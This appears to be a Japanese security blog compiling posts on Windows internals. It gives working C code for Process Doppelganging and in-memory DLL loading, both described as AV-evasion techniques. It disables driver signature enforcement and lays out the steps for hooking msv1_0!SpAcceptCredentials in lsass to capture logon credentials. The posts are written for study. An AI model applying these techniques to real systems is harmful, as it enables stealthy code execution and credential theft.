Windowsにカーネルドライバを読み込ませてみる
Windowsにカーネルドライバを読み込ませてみる
カーネルドライバを作成し,Windowsシステムにロードさせてみる.
まず以下を参考にドライバ開発環境を用意する.
初めてのドライバーの作成 - Windows drivers | Microsoft Docs
環境
VirtualBox上にWindowsホストを立て必要物をインストールする.
バージョン情報は以下の通り.
// VirtualBox バージョン 6.1.2 r135662 (Qt5.6.2)
// Windows C:\Users\victim>ver Microsoft Windows [Version 10.0.18363.592]
カーネルドライバ開発必要物
VirtualBox上のWindowsホストに以下をインストールする.
- Visual Studio
- Windows SDK
- Windows Driver Kit (WDK)
Visual Studio 2019 のインストール
以下のリンクからVisual Studioをインストールする.
Visual Studio: ソフトウェア開発者とチーム向けの IDE およびコード エディター
Windows SDKのインストール
続いてSDKをインストールする.
Visual Studio付属のインストーラーを利用する.
Windows Driver Kit (WDK)のインストール
WDKは専用ページからインストーラーをダウンロードしてくる必要がある
Windows Driver Kit (WDK) のダウンロード - Windows drivers | Microsoft Docs
インストーラーに従いインストールするだけでよく,そのほかの操作は必要ない.
カーネルドライバの作成
以下を参考にHelloWorldを出力するドライバを作成する.
Hello World Windows ドライバーの作成 (KMDF) - Windows drivers | Microsoft Docs
まずVisualStudioのプロジェクトからKernel Mode Driver, Empty (KMDF)を選択する.
続いてソースファイルにkmdfHelloWorld.cを追加する.
今回は動作確認が目的なので処理内容は何でもよい.
デバッグビューに文字列を出力する以下のようなコードを用意した.
#include <ntddk.h> #include <wdm.h> NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObje, PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(pDriverObje); UNREFERENCED_PARAMETER(RegistryPath); DbgPrint("Hello World\n"); return STATUS_SUCCESS; }
これをビルドしようとすると筆者の環境ではSpectre軽減策に関するコンパイルエラーがでた.
これは「プロジェクト」内の「プロパティ」を選択し,「C/C++」の「コード生成」を選択,「Spectre軽減策」をオフにすることで抑制できる(なおSpectre軽減策を含むビルドツールはVisual Studio Installerからインストールできる).
うまくビルドできればDebugフォルダ内にkmdfHelloWorld.sysが作成されるはず.
ドライバのロード
ドライバをシステムにロードする方法はいろいろあり,
- scコマンドからサービスを登録する
- OSC loaderのようなツールを使用する
- 専用ローダーを自作する
などがある.
今回はscコマンドを使用してドライバをロードする.
以下のコマンドでサービスとしてドライバを登録する.
sc create [ServiceName] binPath="[DriverPath]" type=kernel
この時,ProcessHackerを起動しておくと,ドライバの読み込み成功時にポップアップ通知してくれるので成功可否がわかりやすい.
サービスの開始
以下のコマンドで作成したサービスを開始する.これによりドライバがシステムにロードされる.
sc start [ServiceName]
ただし,デフォルトでは以下のように署名なしドライバはロードできない.
署名無しドライバを読み込ませるには追加の設定が必要となる.
「署名付きドライバの強制」のオフ
デフォルトのWindows10では署名付きドライバのみロードが許される.
この「署名付きドライバの強制」をオフにするには以下のうちいずれかを行い,再起動すればよい.
CUI操作で「署名付きドライバの強制」をオフにする方法
bcdedit.exeでブート構成データを調整し再起動する.
bcdedit.exe /set testsigning on
GUI操作で「署名付きドライバの強制」をオフにする方法
スタートボタン内から[電源] をクリックしてShiftキーを押しながら [再起動]をクリックする.
「トラブルシューティング」→「詳細オプション」→ 「スタートアップ設定」と進み,以下の画面へ進む.
ドライバの動作確認
DebugViewを管理者権限で起動し,「Capture Kernel」を選択する.
この状態で,再度サービス開始コマンドを発行すれば,ドライバが正常にロードされHelloWorldがDebugViewに出力される.
以上.
参考
Transactional NTFS利用によるProcess Doppelgangingをやってみる
Transactional NTFS利用による Process Doppelgangingをやってみる
マルウェアなどがAVスキャナーからの検知を逃れるために使う手法の1分野にProcess Injctionがある. 本記事では以下のリポジトリを参考に,Process Injction手法の1つであるTransactional NTFS利用によるProcess Doppelgangingをやってみる.
本手法の概要
Process injection手法の1つにProcess Hollowingがある. これは正規のプロセスのイメージをアンマップし,悪意あるコードを注入,実行するというものだ. Process Doppelgangingはこれと似たような動作をする.
まず正規のファイルをNTFSトランザクションを介してオープンし中身をペイロードで置き換える.このファイルをメモリにロード後,明示的にRollbackを行う.Rollback後はディスク上には正規ファイルが,メモリ上にはペイロードファイルがそれぞれ残ることになり,結果としてファイルレスなペイロードのロードと実行が行える.
以降ではWin32APIを使ったNTFSトランザクションについての基本的な部分を解説した後,Process Doppelgangingの実装について解説する.
NTFSトランザクション
Windowsはいくつかのトランザクション処理用APIを提供している.
これによりファイル操作をACID特性を伴って実行できる.
トランザクション系APIはファイル操作系APIにTransactedというサフィックスがつくのが特徴だ.
主な処理の流れは以下のようになる.
- CreateTransactionでトランザクションハンドルを取得し、トランザクション開始
- トランザクションハンドルを使用して、各種ファイル操作を行う
- CommitTransactionでトランザクションをコミット
- CloseTransactionでトランザクション終了
トランザクションのロールバック
途中の失敗などでコミットすることなくトランザクションを終了した場合,一連の処理はロールバックされる.
トランザクション中のファイルの変更はACID特性故に他プロセスから見えないため,ディスク上にドロップされたペイロードファイルを検知するのは困難だ.
ただし後述するように,トランザクション系APIが利用されることは非常にまれなため,現在のAVスキャナーは容易に本手法を検知する.
Process Doppelgangingの実装
大まかに以下のような処理を行う.
- CreateTransactionでトランザクションを開始.
- トランザクション内でターゲットファイルをペイロードファイルで上書き.
- 上書きされたターゲットファイルから新規セクションを作成.
- ターゲットファイルをロールバック.(ターゲットファイルは元の正規ファイルに戻るが,メモリ上にはペイロードファイルが残る)
- プロセス作成に必要な諸々を設定し新規スレッドを作成してメモリ上にロードされたペイロードファイルを実行.
なお今回はあらかじめディスク上に用意したファイルをペイロードとして使用した.
以下がそのコードになる.
#include<stdio.h> #include<stdlib.h> #include<iostream> #include<Windows.h> #include "ntos.h" #pragma comment(lib, "Ntdll.lib") int main() { // init ntdll.dll func HINSTANCE hinstStub = GetModuleHandle(L"ntdll.dll"); NtCreateTransaction = (LPNTCREATETRANSACTION)GetProcAddress(hinstStub, "NtCreateTransaction"); NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtAllocateVirtualMemory"); NtCreateSection = (LPNTCREATESECTION)GetProcAddress(hinstStub, "NtCreateSection"); NtRollbackTransaction = (LPNTROLLBACKTRANSACTION)GetProcAddress(hinstStub, "NtRollbackTransaction"); NtClose = (LPNTCLOSE)GetProcAddress(hinstStub, "NtClose"); NtCreateProcessEx = (LPNTCREATEPROCESSEX)GetProcAddress(hinstStub, "NtCreateProcessEx"); NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(hinstStub, "NtQueryInformationProcess"); NtReadVirtualMemory = (LPNTREADVIRTUALMEMORY)GetProcAddress(hinstStub, "NtReadVirtualMemory"); NtWriteVirtualMemory = (LPNTWRITEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtWriteVirtualMemory"); NtCreateThreadEx = (LPNTCREATETHREADEX)GetProcAddress(hinstStub, "NtCreateThreadEx"); NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtFreeVirtualMemory"); RtlCreateProcessParametersEx = (LPRTLCREATEPROCESSPARAMETERSEX)GetProcAddress(hinstStub, "RtlCreateProcessParametersEx"); RtlDestroyProcessParameters = (LPRTLDESTROYPROCESSPARAMETERS)GetProcAddress(hinstStub, "RtlDestroyProcessParameters"); RtlImageNtHeader = (LPRTLIMAGENTHEADER)GetProcAddress(hinstStub, "RtlImageNtHeader"); RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(hinstStub, "RtlInitUnicodeString"); // test LPCWSTR lpTargetApp = L".\\test.txt"; LPCWSTR lpPayloadApp = L".\\popup_HelloWorld.exe"; HANDLE hTransaction = NULL, hTransactedFile = INVALID_HANDLE_VALUE, hFile = INVALID_HANDLE_VALUE; HANDLE hSection = NULL, hProcess = NULL, hThread = NULL; LARGE_INTEGER fsz; ULONG ReturnLength = 0; ULONG_PTR EntryPoint = 0, ImageBase = 0; PVOID Buffer = NULL, MemoryPtr = NULL; SIZE_T sz = 0; PEB* Peb; PROCESS_BASIC_INFORMATION pbi; PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL; OBJECT_ATTRIBUTES obja; UNICODE_STRING ustr; BYTE temp[0x1000]; RtlSecureZeroMemory(&temp, sizeof(temp)); // NTFSトランザクションオブジェクトを作成 InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL); NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &obja, NULL, NULL, 0, 0, 0, NULL, NULL); // ターゲットファイルをオープン hTransactedFile = CreateFileTransacted(lpTargetApp, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL); // ペイロードファイルの読み込み hFile = CreateFile(lpPayloadApp, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); GetFileSizeEx(hFile, &fsz); Buffer = NULL; sz = (SIZE_T)fsz.LowPart; NtAllocateVirtualMemory(NtCurrentProcess(), &Buffer, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ReadFile(hFile, Buffer, fsz.LowPart, &ReturnLength, NULL); CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE; // ターゲットファイルにペイロードファイルを書き込み WriteFile(hTransactedFile, Buffer, fsz.LowPart, &ReturnLength, NULL); // ターゲットファイルをSEC_IMAGEで新規セクションとしてメモリ上に作成 NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile); // トランザクションをロールバック NtRollbackTransaction(hTransaction, TRUE); NtClose(hTransaction); hTransaction = NULL; CloseHandle(hTransactedFile); hTransactedFile = INVALID_HANDLE_VALUE; // 作成したセクションからプロセスを新規作成 hProcess = NULL; NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE); // PEBからプロセス情報を取得 NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength); // ImageBaseAddressを取得 NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz); std::cout << "PebBaseAddress: " << (std::hex) << (ULONGLONG)temp << std::endl; // EntryPointを計算 EntryPoint = (RtlImageNtHeader(Buffer))->OptionalHeader.AddressOfEntryPoint; EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress; std::cout << "ImageBase: " << (std::hex) << (ULONG_PTR)((PPEB)temp)->ImageBaseAddress << std::endl; std::cout << "EntryPoint: " << (std::hex) << EntryPoint << std::endl; // プロセスパラメータの調整 RtlInitUnicodeString(&ustr, lpTargetApp); RtlCreateProcessParametersEx(&ProcessParameters, &ustr, NULL, NULL, &ustr, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED); // PEBにプロセスをリンク sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength; MemoryPtr = ProcessParameters; NtAllocateVirtualMemory(hProcess, &MemoryPtr, 0, &sz, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); // プロセスパラメータの書き込み sz = 0; NtWriteVirtualMemory(hProcess, ProcessParameters, ProcessParameters, ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength, &sz); Peb = (PEB*)pbi.PebBaseAddress; NtWriteVirtualMemory(hProcess, &Peb->ProcessParameters, &ProcessParameters, sizeof(PVOID), &sz); // EntryPointを開始アドレスに設定して新規スレッドを作成 hThread = NULL; NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)EntryPoint, NULL, FALSE, 0, 0, 0, NULL); if (hTransaction) NtClose(hTransaction); if (hSection) NtClose(hSection); if (hProcess) NtClose(hProcess); if (hThread) NtClose(hThread); if (hTransactedFile != INVALID_HANDLE_VALUE) CloseHandle(hTransactedFile); if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile); if (Buffer != NULL) { sz = 0; NtFreeVirtualMemory(NtCurrentProcess(), &Buffer, &sz, MEM_RELEASE); } if (ProcessParameters) { RtlDestroyProcessParameters(ProcessParameters); } }
demo
以下は非実行可能形式ファイルをターゲットとした実験.
ファイルパス等を自前で設定できるため,テキストファイルからPEファイルがオープンしているように見える. メモリ空間をのぞいてみると確かにプログラムが示す位置にMZの2バイトが確認できる.
— ry0kvn (@ry0kvn) 2020年2月18日
ただしこれはWindows Defenderをオフにした状態での実験であり,通常は以下のように即座に検知される.
まとめ
本手法は2017年公開当初こそ有用であったが,トランザクション系APIが利用されることは非常にまれなため,現在のAVスキャナーは容易に本手法を検知する.
また悪意あるファイルの最終的な実行の際に,CreateRemoteThreadと同等のNtCreateThreadExを使用している。
AVスキャナーは、リモートスレッドの作成をPsSetCreateThreadNotifyRoutine等を介して監視するため、Doppelgängingを検出可能だ.
本手法は、ファイル署名を避け、ディスクに書き込みをせずに実行可能ファイルをロードできるが,そもそもの目指すところである検知回避という点でもはやアドバンテージはない.
参考
Process Doppelgänging – a new way to impersonate a process | hasherezade's 1001 nights
WinDbg PreviewでVirtualBox上のWindowsホストをカーネルモードデバッグする
WinDbgでVirtualBox上のWindowsホストをカーネルモードデバッグする
環境
ホストのバージョンは以下。
PS C:\Users\ry0kvn> systeminfo OS 名: Microsoft Windows 10 Home OS バージョン: 10.0.18363 N/A ビルド 18363
Debugger client version: 1.0.2001.02001 Debugger engine version: 10.0.19528.1000
VirtualBoxのバージョンは以下。
バージョン 6.0.14 r133895 (Qt5.6.2)
VirtualBox上で動くWindowsホストのバージョンは以下。
PS C:\Users\User> systeminfo OS Name: Microsoft Windows 10 Enterprise Evaluation OS Version: 10.0.18362 N/A Build 18362
ネットワーク
pingでお互いに疎通確認して問題なければ先へ進む。 Windowsはデフォルトでpingに応答しないのでFirewallを切る必要があるかもしれない。
ターゲットホスト内での準備
ターゲットホスト内で管理者権限のPowerShellを起動し以下を実行する。
BCDEditコマンドでブート構成データ (BCD) を編集する。
# カーネルデバッグの有効化 bcdedit /debug on # ホストのIP、ターゲットで待ち受けるポートを設定 bcdedit /dbgsettings net hostip:[HOSTIP] port:[PORT] # key=表示されるのでメモっておくこと # 設定内容を表示 bcdedit /dbgsettings
ここまでの処理を行ったら次はホスト側での作業に移る。
ホストでの準備
このタイミングでターゲットホストを再起動するとWinDbgに接続が返る。
参考
KernelDebug setting https://t.co/V7UKY14fer @YouTubeさんから
— ry0kvn (@ry0kvn) 2020年2月2日
以上。
メモリパッチによるmsv1_0!SpAcceptCredentialsのフックをやってみる
メモリパッチによるmsv1_0!SpAcceptCredentialsのフックをやってみる
Windowsは対話型のユーザー名/パスワードベースのログオン用に2つの認証パッケージ、すなわちMSV1_0とKerberosを使用する。
後者はよく知られているように、ドメインのログオン用に利用される。 一方ドメインコントローラがネットワーク上で発見できない場合は、 キャッシュされた認証情報を基にMSV1_0パッケージを使用してローカルコンピュータへログオンする。
MSV1_0パッケージはrunasなどの一時的に他ユーザーの権限でコマンドを実行する場合の認証にも使用される。
MSV1_0パッケージの実体はmsv1_0.dllであり、内部に含まれるSpAcceptCredentialsFn関数がローカルセキュリティ機関(LSA)を呼び出すことで認証を行う。
今回は以下のサイトを参考に、DLLインジェクションによるメモリパッチを行うことで、msv1_0.dll内のSpAcceptCredentials関数をフックし認証情報を取得してみる。
カーネルモードでのデバッグ
まずはmsv1_0.dll内のSpAcceptCredentialsFn関数を発見する。 この関数はエクスポートもインポートもされない、DLL内のみで使用されるラッパー関数である。 ユーザーが入力した認証情報はまずこの関数に渡され、さらに Lsassの関数を使用するなどしてハッシュ化した認証情報の比較を行う。
LsassはWindowsの認証の根幹を成すシステムプロセスであり、その実態はlsass.exeである。 lsass.exeプロセスへ通常プロセスのようにアタッチするとシステムがクラッシュまたはフリーズする。 したがって、解析にはカーネルモードでのデバッグが必要になる。
今回はユーザーモードおよびカーネルモードの両方に対応したGUIベースのデバッガーであるWinDbg Previewを使用する。
WinDbg Previewを使ったカーネルデバッグに必要な準備は以下の記事を参考にしてほしい。
lsass.exeの解析
カーネルデバッグの準備が済めばいよいよlsass.exeプロセスの解析を開始する。
まずは全プロセスからlsass.exeプロセスのEPROCESS構造体を見つける。
見つけたlsass.exeプロセスのEPROCESS構造体の値を元に、lsass.exeプロセスのコンテキストにスイッチする。
ロードされているモジュールのリストを表示してみる。
msv1_0.dllが表示されない。
!pebでプロセスが読み込んでいるモジュールの一覧を表示する。 この中にはmsv1_0.dllが存在し、正しく読み込まれていることがわかる。
シンボル情報のリロードを行って正しく読み込まれるかやってみる。
読み込まれたようだ。
次に問題の関数へブレークポイントを設定する。
最後にターゲットホストでrunasコマンドなどの認証が必要な処理を呼び出す。
以下の画像はターゲットホスト上のPowerShellでrunasコマンド発行しようとしている瞬間の画像である。 認証情報を入力しエンターを押したところでブレークポイントに到達し停止している。
SpAcceptCredentials関数のインターフェースは以下のようになっており、第2引数に渡されるPSECPKG_PRIMARY_CRED構造体に認証情報が格納される。
SpAcceptCredentialsFn Spacceptcredentialsfn; NTSTATUS Spacceptcredentialsfn( SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials ) {...}
typedef struct _SECPKG_PRIMARY_CRED { LUID LogonId; UNICODE_STRING DownlevelName; // Sam Account Name UNICODE_STRING DomainName; // Netbios domain name where account is located UNICODE_STRING Password; UNICODE_STRING OldPassword; PSID UserSid; ULONG Flags; UNICODE_STRING DnsDomainName; // DNS domain name where account is located (if known) UNICODE_STRING Upn; // UPN of account (if known) UNICODE_STRING LogonServer; UNICODE_STRING Spare1; UNICODE_STRING Spare2; UNICODE_STRING Spare3; UNICODE_STRING Spare4; } SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED;
デバッガで中を表示した様子が以下。 引数に渡されている文字列を参照すると確かにこの関数に認証情報が渡されていることが確認できる。
以上のことからこの関数をフックしてその引数をインターセプトしてやれば認証情報を取得できることがわかる。
以降からこの関数をフックするプログラムを開発する。
フックコードの開発
これからSpAcceptCredentialsをフックし、認証情報をリークさせるDLLを開発する。
CreateProcessやLoadlibraryなどのように、DLLからエクスポートされている関数をフックする場合その関数へのアドレスは関数ポインタなどを利用することによって簡単に求められる。
しかし今回フックするSpAcceptCredentialsはmsv1_0.dllからエクスポートされていないため、関数ポインタ利用によるアドレスの取得はできない。 このような場合、メモリ領域を探索しそのアドレスを求める必要がある。
まず特徴点となるSpAcceptCredentialsの機械語を調査する。 実際には、これからやりたいことを既に実現してるMimikatzのコードを参考に以下の機械語を特徴点として選択した。
4883ec20498bd9498bf88bf148
したがってmsv1_0.dllがロードされているイメージ領域内を上の値で探索すればSpAcceptCredentialsへのアドレスが求められる。
ちなみにIDAやGhidraを使ってSpAcceptCredentialsの特徴点となる機械語で検索をかけ、デコンパイルするとSpAcceptCredentialsの内部構造がわかりやすい。 以下の画像が実際にデコンパイルを行い、調整を加えたSpAcceptCredentialsである。
まとめると、SpAcceptCredentialsをフックするには以下のような手順を踏めばよい
- SpAcceptCredentialsをインポートするmsv1_0.dllのハンドルを取得
- ハンドルからmsv1_0.dllのイメージ領域とそのサイズを取得
- イメージ領域内をSpAcceptCredentialsの特徴点となる機械語で探索
- SpAcceptCredentials内の数バイトを認証情報をリークさせる関数へとジャンプする機械語へ書き換える
- 認証情報をリークさせる関数の最後で、正規のSpAcceptCredentialsを呼び出させる
以上の手順でフックは完了だ。
デモ
SpAcceptCredentialsFn callback function memory patch https://t.co/exyKQXf5OU @YouTubeさんから
— ry0kvn (@ry0kvn) 2020年2月1日
まとめ
コードは参考サイトからみつけることができる。 通常のフックとは違い、内部関数のリバーシング、バイトパターンでの仮想メモリの探索など勉強になった。
参考サイト
メモリからDLLを読み込んでみる
メモリからDLLを読み込んでみる
DLL(dynamic link library)は通常、Windows APIのLoadlibraryやLoadlibraryEXを使ってディスク上から読み込んで使用する。 このLoadLibraryやLoadLibraryExは、ファイルシステム上のファイルでのみ機能し直接メモリからDLLをロードすることはできない。またこれを端的に実現できる公式のWindows APIも存在しない。 メモリからDLLを読み込むには疑似的なPEローダーを実装する必要がある。
ゲームやマルウェアの開発者は、解析難度の向上やアンチウイルスソフトによる検出回避を狙ってしばしばこういった手法をとることがある。 この記事では、メモリからDLLを読み込むために必要なPEファイルの構造について簡易に解説した後、以下のリポジトリを参考に実際にメモリからDLLを読み込ませてみる。
本記事がPEファイルフォーマットの理解と、それを利用した各種テクニックへの理解につながれば幸いだ。
ディスク上からの読み込み
ディスクからのDLL読み込みには、LoadLibraryを使用する。 LoadLibraryを発行すると、Windowsは大まかに次のような処理を行う。
- 指定されたファイルを開き、DOSおよびPEヘッダーを確認する。
- 対象ファイル内のPEHeader.OptionalHeader.ImageBaseに指定されたアドレスに、PEHeader.OptionalHeader.SizeOfImageで指定されたバイト分メモリを確保する。
- セクションヘッダーを解析し、IMAGE_SECTION_HEADER構造体のVirtualAddressに基づき、確保したメモリブロックに各セクションをコピーする。
- ImageBaseと異なるメモリブロックが確保された場合、コードやデータセクションの種々の依存関係を調整する。(ベース再配置)
- ライブラリに必要なインポートを、対応するライブラリをロードして解決する。(IATの解決)
- フラグDLL_PROCESS_ATTACHを使用してDLLのエントリポイント(AddressOfEntryPoint)を呼び出す。
LoadLibraryなどは上のような処理を経て、ディスク上に作成されたDLLを実行可能な形に調整しながらメモリ上に読み込む。
この記事では簡便のために、ディスク上のDLLファイルをメモリ上に読み込んだ後、実行可能な形にメモリ上で再配置し、実際に動作させてみる。
DLLの準備
アタッチするとメッセージボックスがポップアップする簡単なDLLを用意する。
#include<Windows.h> #pragma comment(lib, "user32") BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBoxW(NULL, L"Hello?", L"Title", MB_OK); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
DLLファイルの読み込み
次に、このDLLファイルをメモリから読み込むプログラムを準備する。 まずはディスク上のDLLをオープンし、メモリ上に配置する。
HANDLE dll = CreateFileA("[PATH]\\TestDLL.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); DWORD64 dllSize = GetFileSize(dll, NULL); LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize); ReadFile(dll, dllBytes, dllSize, NULL, NULL);
これだけではDLLをファイルとして読み込んだにすぎない。 動作させるにはローダーが行う処理をエミュレートする必要がある。 以降その処理を解説をする。
セクションのコピー
まず先んじてメモリ上にセクションのコピーを行う。NumberOfSectionsだけセクションをメモリ上にコピーする。 イメージファイルがロードされたアドレスにVirtualAddressを加算したアドレスへSizeOfRawData分セクション用の領域を確保する。
// セクションのロード ///////////////////////////////////////// PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { LPVOID sectionDestination = (LPVOID)((DWORD_PTR)section->VirtualAddress + (DWORD_PTR)dllBase); LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); WriteProcessMemory(GetCurrentProcess(), sectionDestination, sectionBytes, section->SizeOfRawData, NULL); section++; } /////////////////////////////////////////
PE内のセクションと実際にメモリ上にロードされたセクションの関係は以下の図が分かりやすい
イメージベースの再配置
リンカ―によってPEファイル内に解決されたIamgeBaseと、ローダーによって実際にロードされるImageBaseが異なることがある。 リンカ―はPEファイル内のIamgeBaseに沿って各種の依存関係を解決している。 もしローダーがこのImageBaseと異なるアドレスへのロードを選択した場合、ローダーによってアドレスの依存関係の修正が行われる。 この処理をベース再配置と呼ぶ。
以前記事にしたProcess Hollowingでも同様の解説を行っているがここで改めて触れておく。
NtUnmapViewOfSecitonによるProcess Hollowingをやってみる - Snoozy
まずリンカ―によってPEファイル内に指定されたIamgeBaseと、ローダーによって実際にロードされるImageBaseの差Deltaを求める。 この差が0でない場合、ベース再配置が必要で、.relocセクションに格納されている再配置テーブルに基いて修正を開始する。
.relocセクションに格納されている再配置テーブルはベース再配置が必要なアドレスのリストである。 各アドレス値を取得し、Deltaだけアドレスを加算する。この値でテーブルを上書きしていくことでベース再配置が完了する。
// ベース再配置 ///////////////////////////////////////// IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; DWORD relocationsProcessed = 0; // Deltaを求める DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; while (relocationsProcessed < relocations.Size) { PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); for (DWORD i = 0; i < relocationsCount; i++) { relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); if (relocationEntries[i].Type == 0) { continue; } DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; DWORD_PTR addressToPatch = 0; ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); addressToPatch += deltaImageBase; WriteProcessMemory(GetCurrentProcess(), (PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); } } /////////////////////////////////////////
IATの解決
IAT(Import Address Table)はインポートするAPIのエントリーポイントのリストである。 DLLはこのIATを参照しつつAPIを呼び出すことになる。 たとえば今回のようにメッセージボックスをポップアップさせるDLLであれば、User32.dllからエクスポートされるMessageBox関連のAPIを使用する。正常に動作させるためには事前にDLLをメモリ上にロードし、エクスポートされるAPIのアドレスをIATに解決しておかなければならない。
IATの走査手順をまとめておく。
まずインポートが必要なDLL分ループを回す。 インポート情報はIMAGE_IMPORT_DESCRIPTOR構造体の配列で表される。 リンクが必要なDLLの数+1だけ、IMPORT_IMAGE_DESCRIPTOR構造体が連なる。 最後の1つはすべてNULLであり終端の識別に使用する。
インポートが必要なDLLが存在する場合はLoadlibraryを使って実際にDLLをメモリにロードする。 IMAGE_IMPORT_DESCRIPTOR構造体のメンバFirstThunkはIMAGE_THUNK_DATA構造体へのRVAである。IMAGE_THUNK_DATA構造体がIAT及びINTとして使われる構造体で、この構造体にインポートしたいAPIの名前または実際のメモリ上のアドレスが格納される。
APIが名前でインポートされているか序数でインポートされているかで処理を分岐させる。これを取得するためにIMAGE_SNAP_BY_ORDINALというマクロを使い、Ordinal の最上位ビットが立っているかどうかで判別する。 また、最上位ビットをマスクして序数値を取得するために、IMAGE_ORDINAL というマクロがありこれを利用する。 序数によるインポートである場合はGetProcAddressに序数を、API名によるインポートである場合はAPI名を引数に渡すことで、メモリにロードしたDLLからエクスポートされる各APIへのエントリーポインタへのアドレスを取得する。
// IATの解決 ///////////////////////////////////////// IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); LPCSTR libraryName = ""; HMODULE library = NULL; // インポートが必要なDLL分ループ while (importDescriptor->Name != NULL) { // DLL名をもとにメモリにモジュールをロード libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; library = LoadLibraryA(libraryName); if (library) { // PIMAGE_THUNK_DATA構造体、すなわちIATへのポインタを取得 PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(importDescriptor->FirstThunk + (DWORD_PTR)dllBase); // インポートするAPI分ループ while (thunk->u1.AddressOfData != NULL) { // 序数に基づいてインポート if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) { LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); } else { // API名に基づいてインポート PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData + (DWORD_PTR)dllBase); DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); //printf("IAT Resolving 0x%p -> 0x%p\n", thunk->u1.Function + (DWORD_PTR)dllBase ,functionAddress); thunk->u1.Function = functionAddress; } ++thunk; } } importDescriptor++; } /////////////////////////////////////////
IATがどう遷移するかは以下の画像がわかりやすい。
DLLがディスク上にある状態ではIAT、INTともに同じ構造体を指す。
DLLのIATが解決されると、IATは実際のアドレスが格納されたIMAGE_THUNK_DATA構造体を指すようになる。
出典:Exciting Journey Towards Import Address Table (IAT) of an Executable
DLLの実行
以上でDLLを実行可能にするために必要な最低限の処理は済んだ。 最後にDLLの実行だ。 ファイル内のAddressOfEntryPointが実行開始アドレスであるため、DLL_PROCESS_ATTACHフラグを付与して関数ポインタとして実行すればよい。
